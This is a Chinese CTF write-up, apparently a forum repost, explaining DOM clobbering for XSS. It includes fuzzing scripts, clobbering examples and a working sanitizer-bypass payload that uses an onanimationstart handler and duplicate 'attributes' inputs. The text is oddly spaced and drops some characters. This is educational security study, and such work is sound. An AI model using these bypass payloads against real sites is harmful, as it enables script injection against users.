搜索

[419] 2021-08-02_DomClobbering（XSS）

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-16
2021-08-02_DomClobbering（XSS） D o m   C l o b b e r i n g （ X S S ） a l u m m 0 x   a l u m m 0 x   2 0 2 1 - 0 8 - 0 2 收 录 于 话 题   # x s s   , 3 个 来 自 《 代 码 审 计 》 知 识 星 球 ， p 牛 的 发 起 的 话 题 ， 知 识 点 是 1 9 年 的 ， 又 学 到 了 ， 自 己 做 下 学 习 记 录 C T F 测 试 代 码 如 下 < ! D O C T Y P E   h t m l > < h t m l > < b o d y > < i m g   i d = x > < i m g   n a m e = y > < / b o d y > < s c r i p t > c o n s t   d a t a   =   d e c o d e U R I C o m p o n e n t ( l o c a t i o n . h a s h . s u b s t r ( 1 ) ) ; c o n s t   r o o t   =   d o c u m e n t . c r e a t e E l e m e n t ( ' d i v ' ) ; r o o t . i n n e r H T M L   =   d a t a ;   / / p a y l o a d / / h t t p : / / l o c a l h o s t / x s s . h t m l # < s t y l e > @ k e y f r a m e s   x { } < / s t y l e > < f o r m   s t y l e = " a n i m a t i o n - n a m e : x "   o n a n i m a t i o n s t a r t = " a l e r t ( 1 1 1 1 ) " > < i n p u t   i d = a t t r i b u t e s > < i n p u t   i d = a t t r i b u t e s > f o r   ( l e t   e l   o f   r o o t . q u e r y S e l e c t o r A l l ( ' * ' ) )   { l e t   a t t r s   =   [ ] ; f o r   ( l e t   a t t r   o f   e l . a t t r i b u t e s )   { a t t r s . p u s h ( a t t r . n a m e ) ; } f o r   ( l e t   n a m e   o f   a t t r s )   { e l . r e m o v e A t t r i b u t e ( n a m e ) ; } }   d o c u m e n t . b o d y . a p p e n d C h i l d ( r o o t ) ;   < / s c r i p t > < / h t m l > 原 理 原 理 p o r t s w i g g e r 上 分 享 过 这 个 ， 原 文 链 接 如 下 h t t p s : / / p o r t s w i g g e r . n e t / w e b - s e c u r i t y / d o m - b a s e d / d o m - c l o b b e r i n g D O M   c l o b b e r i n g 是 个 啥 呢 ， 就 是 种 将   H T M L   代 码 注 中 以 操 纵   D O M   并 最 终 更 改 上   J a v a S c r i p t   为 的 技 术 。 在 法 直 接   X S S   的 情 况 下 ， 我 们 就 可 以 往   D O M   C l o b b e r i n g   这 向 考 虑 了 。 看 完 可 能 还 是 懵 ， 接 着 看 吧 创 建 对 象 创 建 对 象
写 个 页 面 ， 页 面 内 容 如 下 < i m g   i d = x > < i m g   n a m e = y > c o n s o l e 访 问 结 果 如 下 是 不 是 很 神 奇 ， n a m e 属 性 基 本 都 可 以 访 问 了 ， 本 来 应 该 只 是 个 属 性 ， 怎 么 就 变 成 h t m l 元 素 对 象 呢 这 其 实 是 历 史 原 因 ， 造 成 全 局 变 量 造 成 全 局 变 量 d o c u m e n t 、 、 w i n d o w 的 原 有 属 性 或 全 局 变 量 被 覆 盖 的 原 有 属 性 或 全 局 变 量 被 覆 盖 D O M   最 初 是 在 没 有 任 何 标 准 化 的 情 况 下 诞 和 实 现 的 ， 这 导 致 了 许 多 特 殊 的 为 ， 但 是 为 了 保 持 兼 容 性 ， 很 多 浏 览 器 仍 然 持 异 常 的   D O M   。 D O M   的 旧 版 本 （ 即 D O M   L e v e l   0   &   1 ） 仅 提 供 了 有 限 的 通 过   J a v a S c r i p t   引 元 素 的 式 ， 些 经 常 使 的 元 素 具 有 专 的 集 合 （ 例 如   d o c u m e n t . f o r m s   ） ， 其 他 元 素 可 以 通 过   W i n d o w   和   D o c u m e n t   对 象 上 的   n a m e   属 性 和   i d   属 性 来 引 。 由 于 标 准 化 的   D O M   为 ， 浏 览 器 有 时 可 能 会 向 各 种   D O M   元 素 添 加   n a m e   &   i d   属 性 ， 作 为 对 档 或 全 局 对 象 的 属 性 引 ， 但 是 ， 这 会 导 致 覆 盖 掉   d o c u m e n t 原 有 的 属 性 或 全 局 变 量 ， 或 者 劫 持 些 变 量 的 内 容 ， 且 不 同 的 浏 览 器 还 有 不 同 的 解 析 式   覆 盖 对 象 覆 盖 对 象 上 面 的 例 子 是 新 增 了 对 象 ， 我 们 来 看 下 覆 盖 < i m g   n a m e = c o o k i e > 覆 盖 前
覆 盖 后 很 明 显 是 吧 链 式 调 用 覆 盖 链 式 调 用 覆 盖 那 能 覆 盖 方 法 么 ？ 可 以 的 ， 比 如 d o c u m e n t . b o d y . a p p e n d C h i l d < f o r m   n a m e = b o d y >     < i m p u t   n a m e = a p p e n d C h i l d > < / f o r m > 已 经 被 覆 盖 了 ， 链 式 调 用 的 ， 就 构 造 层 级 的 h t m l 但 是 呢 ， 这 个 链 式 调 用 是 有 限 制 的 ， 不 是 随 意 就 可 以 的 ， 比 如 < d i v   i d = " x " > < a   i d = " x "   n a m e = y   h r e f = " t e s t " > < / a > < / d i v > 结 果 却 是 u n d e f i n e d ， 无 法 获 取 到 对 象 @ z e d d y u 大 佬 的 研 究 获 取 S t r i n g 字 符 串
利   H T M L   标 签 之 间 存 在 的 关 系 来 构 建 层 级 关 系 通 过   c o l l e c t i o n [ n a m e ]   的 形 式 来 调 其 中 的 元 素 获 取 获 取 S t r i n g 字 符 串 字 符 串 可 以 看 到 上 面 例 子 ， 返 回 的 都 是 h t m l 元 素 对 象 ， 这 样 如 果 我 们 要 字 符 串 就 不 好 搞 了 ， 所 以 大 佬 就 f u z z 了 下 找 到 了 两 个 元 素 可 以 返 回 字 符 串 < a   i d = t e s t   h r e f = " 1 : x s s " > < a r e a   i d = t e s t 1   h r e f = " 1 : x s s " > a r e a < / a r e a > 控 制 台 a l e r t ( t e s t ) a l e r t ( t e s t 1 ) 均 可 以 弹 出 字 符 串 附 上 大 佬 的 f u z z 代 码 O b j e c t . g e t O w n P r o p e r t y N a m e s ( w i n d o w ) . f i l t e r ( p   = >   p . m a t c h ( / E l e m e n t $ / ) ) . m a p ( p   = >   w i n d o w [ p ] ) . f i l t e r ( p   = >   p   & &   p . p r o t o t y p e   & &   p . p r o t o t y p e . t o S t r i n g   ! = = O b j e c t . p r o t o t y p e . t o S t r i n g ) 通 过 通 过   c o l l e c t i o n [ n a m e ]   的 形 式 来 调 的 形 式 来 调 其 中 的 元 素 其 中 的 元 素 < d i v   i d = " x " >         < a   i d = " x "   n a m e = y   h r e f = " 1 : h a s a k i " > < / a > < / d i v >
这 种 i d 或 n a m e 相 同 的 会 组 成 一 个 H T M L C l l e c t i o n 对 象 ， 这 是 可 以 构 造 任 意 标 签 的 链 式 调 用 注 ： 这 个 在 f i r e f o x 上 没 作 用 ， 都 是 u n d e f i n e d 利 利   H T M L   标 签 之 间 存 在 的 关 系 来 构 建 层 级 关 系 标 签 之 间 存 在 的 关 系 来 构 建 层 级 关 系 这 里 其 实 上 面 已 经 有 个 例 子 了 < f o r m   n a m e = b o d y >       < i m p u t   n a m e = a p p e n d C h i l d > < / f o r m > 这 里 是 可 以 b o d y . a p p e n d C h i l d 获 取 对 象 大 佬 通 过 f u z z 的 方 法 获 取 到 了 如 下 标 签 间 可 以 构 造 层 级 关 系 ， 以 达 到 链 式 调 用 f o r m - > b u t t o n f o r m - > f i e l d s e t f o r m - > i m a g e f o r m - > i m g f o r m - > i n p u t f o r m - > o b j e c t f o r m - > o u t p u t f o r m - > s e l e c t f o r m - > t e x t a r e a 如 果 非 上 面 的 标 签 ， 是 需 要 结 合 c o l l e c t i o n [ n a m e ] 才 能 构 造 层 级 调 用 构 造 相 同 i d 或 n a m e 的 标 签 即 可
< d i v   i d = " x " >   < a   i d = " x "   n a m e = y   h r e f = " 1 : h a s a k i " > < / a > < / d i v > < s c r i p t >     a l e r t ( x . y ) ; < / s c r i p t > 比 如 三 层 < f o r m   i d = " x "   n a m e = " y " > < o u t p u t   i d = z > I ' v e   b e e n   c l o b b e r e d < / o u t p u t > < / f o r m > < f o r m   i d = " x " > < / f o r m > < s c r i p t > a l e r t ( x . y . z . v a l u e ) ; < / s c r i p t > 更 多 层 级 的 需 要 结 合 i f r a m e   与   s r c d o c   来 < i f r a m e   n a m e = a   s r c d o c = " < i f r a m e   s r c d o c = ' < a   i d = c   n a m e = d   h r e f = c i d : C l o b b e r e d > t e s t < / a > < a   i d = c > '   n a m e = b > " > < / i f r a m e > < s c r i p t > s e t T i m e o u t ( ( ) = > a l e r t ( a . b . c . d ) , 5 0 0 ) < / s c r i p t > f u z z 代 码 v a r   l o g = [ ] ; v a r   h t m l   = [ " a " , " a b b r " , " a c r o n y m " , " a d d r e s s " , " a p p l e t " , " a r e a " , " a r t i c l e " , " a s i d e " , " a u d i o " , " b " , " b a s e " , " b a s e f o n t " , " b d i " , " b d o " , " b g s o u n d " , " b i g " , " b l i n k " , " b l o c k q u o t e " , " b o d y " , " b r " , " b u t t o n " , " c a n v a s " , " c a p t i o n " , " c e n t e r " , " c i t e " , " c o d e " , " c o l " , " c o l g r o u p " , " c o m m a n d " , " c o n t e n t " , " d a t a " , " d a t a l i s t " , " d d " , " d e l " , " d e t a i l s " , " d f n " , " d i a l o g " , " d i r " , " d i v " , " d l " , " d t " , " e l e m e n t " , " e m " , " e m b e d " , " f i e l d s e t " , " f i g c a p t i o n " , " f i g u r e " , " f o n t " , " f o o t e r " , " f o r m " , " f r a m e " , " f r a m e s e t " , " h 1 " , " h e a d " , " h e a d e r " , " h g r o u p " , " h r " , " h t m l " , " i " , " i f r a m e " , " i m a g e " , " i m g " , " i n p u t " , " i n s " , " i s i n d e x " , " k b d " , " k e y g e n " , " l a b e l " , " l e g e n d " , " l i " , " l i n k " , " l i s t i n g " , " m a i n " , " m a p " , " m a r k " , " m a r q u e e " , " m e n u " , " m e n u i t e m " , " m e t a " , " m e t e r " , " m u l t i c o l " , " n a v " , " n e x t i d " , " n o b r " , " n o e m b e d " , " n o f r a m e s " , " n o s c r i p t " , " o b j e c t " , " o l " , " o p t g r o u p " , " o p t i o n " , " o u t p u t " , " p " , " p a r a m " , " p i c t u r e " , " p l a i n t e x t " , " p r e " , " p r o g r e s s " , " q " , " r b " , " r p " , " r t " , " r t c " , " r u b y " , " s " , " s a m p " , " s c r i p t " , " s e c t i o n " , " s e l e c t " , " s h a d o w " , " s l o t " , " s m a l l " , " s o u r c e " , " s p a c e r " , " s p a n " , " s t r i k e " , " s t r o n g " , " s t y l e " , " s u b " , " s u m m a r y " , " s u p " , " s v g " , " t a b l e " , " t b o d y " , " t d " , " t e m p l a t e " , " t e x t a r e a " , " t f o o t " , " t h " , " t h e a d " , " t i m e " , " t i t l e " , " t r " , " t r a c k " , " t t " , " u " , " u l " , " v a r " , " v i d e o " , " w b r " , " x m p " ] ,   l o g s   =   [ ] ; d i v = d o c u m e n t . c r e a t e E l e m e n t ( ' d i v ' ) ; f o r ( v a r   i = 0 ; i < h t m l . l e n g t h ; i + + )   { f o r ( v a r   j = 0 ; j < h t m l . l e n g t h ; j + + )   { d i v . i n n e r H T M L = ' < ' + h t m l [ i ] + '   i d = e l e m e n t 1 > ' + ' < ' + h t m l [ j ] + '   i d = e l e m e n t 2 > ' ; d o c u m e n t . b o d y . a p p e n d C h i l d ( d i v ) ; i f ( w i n d o w . e l e m e n t 1   & &   e l e m e n t 1 . e l e m e n t 2 ) { l o g . p u s h ( h t m l [ i ] + ' , ' + h t m l [ j ] ) ; } d o c u m e n t . b o d y . r e m o v e C h i l d ( d i v ) ;
} } c o n s o l e . l o g ( l o g . j o i n ( ' n ' ) ) ; n a m e 和 和 i d 这 里 还 有 最 后 一 个 问 题 这 里 还 有 最 后 一 个 问 题 那 就 是 i d 跟 n a m e ， 我 测 试 发 现 有 些 标 签 i d 就 可 以 ， 有 些 就 不 行 ， 比 如 < a   n a m e = " x "     h r e f = " 1 : h a s a k i " > < / a > < d i v   n a m e = " x " > 这 两 个 都 是 u n d e f i n e d d o c u m e n t   &   i d f u z z 代 码 v a r   h t m l   =   [ . . . ] ; / / H T M L   e l e m e n t s   a r r a y v a r   l o g   =   [ ] ; v a r   d i v   =   d o c u m e n t . c r e a t e E l e m e n t ( " d i v " ) ; f o r   ( v a r   i   =   0 ;   i   <   h t m l . l e n g t h ;   i + + )   { d i v . i n n e r H T M L   =   " < "   +   h t m l [ i ]   +   "   i d = x   > " ; d o c u m e n t . b o d y . a p p e n d C h i l d ( d i v ) ; i f   ( d o c u m e n t . x   = =   d o c u m e n t . g e t E l e m e n t B y I d ( ' x ' )   & &   d o c u m e n t . x   ! =   u n d e f i n e d )   { l o g . p u s h ( h t m l [ i ] ) ; } d o c u m e n t . b o d y . r e m o v e C h i l d ( d i v ) ; } c o n s o l e . l o g ( l o g ) ; 只 有 o b j e c t 标 签 还 可 以 d o c u m e n t   &   n a m e f u z z 代 码
d o c u m e n t . x   = =   d o c u m e n t . g e t E l e m e n t s B y N a m e ( " x " ) [ 0 ]   & &   d o c u m e n t . x   ! =   u n d e f i n e d 只 有 五 个 标 签 可 以 [ " e m b e d " ,   " f o r m " ,   " i m a g e " ,   " i m g " ,   " o b j e c t " ] d o c u m e n t   &   i d   &   n a m e f u z z 代 码 v a r   h t m l   =   [ . . . ] ; / / H T M L   e l e m e n t s   a r r a y v a r   l o g   =   [ ] ; v a r   d i v   =   d o c u m e n t . c r e a t e E l e m e n t ( " d i v " ) ; f o r   ( v a r   i   =   0 ;   i   <   h t m l . l e n g t h ;   i + + )   { d i v . i n n e r H T M L   =   " < "   +   h t m l [ i ]   +   "   i d = x   n a m e = y   > " ; d o c u m e n t . b o d y . a p p e n d C h i l d ( d i v ) ; i f   ( d o c u m e n t . x   = =   d o c u m e n t . g e t E l e m e n t s B y N a m e ( " y " ) [ 0 ]   & &   d o c u m e n t . x   ! = u n d e f i n e d )   { l o g . p u s h ( h t m l [ i ] ) ; } d o c u m e n t . b o d y . r e m o v e C h i l d ( d i v ) ; } c o n s o l e . l o g ( l o g ) ; 只 有 三 个 可 以 [ " i m a g e " ,   " i m g " ,   " o b j e c t " ] w i n d o w N o t   C l o b b e r e d [ " b o d y " ,   " c a p t i o n " ,   " c o l " ,   " c o l g r o u p " ,   " f r a m e " ,   " f r a m e s e t " ,   " h e a d " ,   " h t m l " , " t b o d y " ,   " t d " ,   " t f o o t " ,   " t h " ,   " t h e a d " ,   " t r " ] w i n d o w   &   i d f u z z 代 码 v a r   h t m l   =   [ . . . ] ; / / H T M L   e l e m e n t s   a r r a y v a r   l o g   =   [ ] ; v a r   d i v   =   d o c u m e n t . c r e a t e E l e m e n t ( " d i v " ) ; f o r   ( v a r   i   =   0 ;   i   <   h t m l . l e n g t h ;   i + + )   { d i v . i n n e r H T M L   =   " < "   +   h t m l [ i ]   +   "   i d = x   > " ; d o c u m e n t . b o d y . a p p e n d C h i l d ( d i v ) ; i f   ( w i n d o w . x   = =   d o c u m e n t . g e t E l e m e n t B y I d ( ' x ' )   & &   w i n d o w . x   ! =   u n d e f i n e d )   { l o g . p u s h ( h t m l [ i ] ) ; } d o c u m e n t . b o d y . r e m o v e C h i l d ( d i v ) ; } c o n s o l e . l o g ( l o g ) ; 除 了 N o t   C l o b b e r e d 的 标 签 ， 其 他 都 可 以
w i n d o w   &   n a m e f u z z 代 码 w i n d o w . x   = =   d o c u m e n t . g e t E l e m e n t s B y N a m e ( " x " ) [ 0 ]   & &   w i n d o w . x   ! =   u n d e f i n e d [ " e m b e d " ,   " f o r m " ,   " i m a g e " ,   " i m g " ,   " o b j e c t " ] 太 多 知 识 了 ， 我 只 能 学 习 到 这 ， 毕 竟 我 不 是 研 究 浏 览 器 安 全 的 . . . . C T F 解 析 解 析 回 到 题 目 吧 . f o r   ( l e t   e l   o f   r o o t . q u e r y S e l e c t o r A l l ( ' * ' ) )   { l e t   a t t r s   =   [ ] ; f o r   ( l e t   a t t r   o f   e l . a t t r i b u t e s )   { a t t r s . p u s h ( a t t r . n a m e ) ; } c o n s o l e . l o g ( e l ,   a t t r s ) ; f o r   ( l e t   n a m e   o f   a t t r s )   { e l . r e m o v e A t t r i b u t e ( n a m e ) ; } } p a y l o a d # < s t y l e > @ k e y f r a m e s % 2 0 x { } < / s t y l e > < f o r m % 2 0 s t y l e = " a n i m a t i o n - n a m e : x " % 2 0 o n a n i m a t i o n s t a r t = " a l e r t ( 1 1 1 1 1 1 1 1 ) " > < i n p u t % 2 0 i d = a t t r i b u t e s > < i n p u t % 2 0 i d = a t t r i b u t e s > 加 了 个 打 印 ， 看 了 下 处 理 过 程 的 数 据 为 什 么 需 要 添 加 两 个 < i n p u t % 2 0 i d = a t t r i b u t e s > ， 我 一 开 始 的 疑 惑 我 删 除 一 个 后 发 现
直 接 遍 历 f o r m 属 性 的 时 候 就 报 错 了 难 道 是 因 为 f o r m 有 两 个 属 性 ？ ？ # < s t y l e > @ k e y f r a m e s % 2 0 x { } < / s t y l e > < f o r m % 2 0 s t y l e = " a n i m a t i o n - n a m e : x " % 2 0 o n a n i m a t i o n s t a r t = " a l e r t ( 1 1 1 1 1 1 1 1 ) " % 2 0 m e t h o d = g e t > < i n p u t % 2 0 i d = a t t r i b u t e s > < i n p u t % 2 0 i d = a t t r i b u t e s > 并 不 是 因 为 这 个 然 后 我 想 到 报 错 信 息 提 示 是 因 为 e l . a t t r i b u t e s 不 是 一 个 迭 代 对 象 ， 会 不 会 是 因 为 我 写 单 个 < i n p u t % 2 0 i d = a t t r i b u t e s > ， e l . a t t r i b u t e s 只 是 单 个 数 据 ， 而 不 是 数 组 ， 根 据 前 面 的 知 识 c o l l e c t i o n ， 如 果 相 同 的 i d 或 n a m e 是 会 变 成 H T M L C o l l e c t i o n 的 数 组 ， 于 是 尝 试 三 个 i n p u t # < s t y l e > @ k e y f r a m e s % 2 0 x { } < / s t y l e > < f o r m % 2 0 s t y l e = " a n i m a t i o n - n a m e : x " % 2 0 o n a n i m a t i o n s t a r t = " a l e r t ( 1 1 1 1 1 1 1 1 ) " % 2 0 m e t h o d = g e t > < i n p u t % 2 0 i d = a t t r i b u t e s > < i n p u t % 2 0 i d = a t t r i b u t e s > < i n p u t % 2 0 i d = a t t r i b u t e s > 然 后 正 解 了 遗 留 遗 留 p 牛 还 提 到 个 p a y l o a d < s v g > < s c g / o n l o a d = a l e r t ( 1 ) > 知 道 的 大 佬 给 个 私 信 呢 ， 哈 哈 哈 参 考 资 料 ： h t t p s : / / p o r t s w i g g e r . n e t / w e b - s e c u r i t y / d o m - b a s e d / d o m - c l o b b e r i n g h t t p s : / / b l o g . z e d d y u . i n f o / 2 0 2 0 / 0 3 / 0 4 / D o m - C l o b b e r i n g /
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理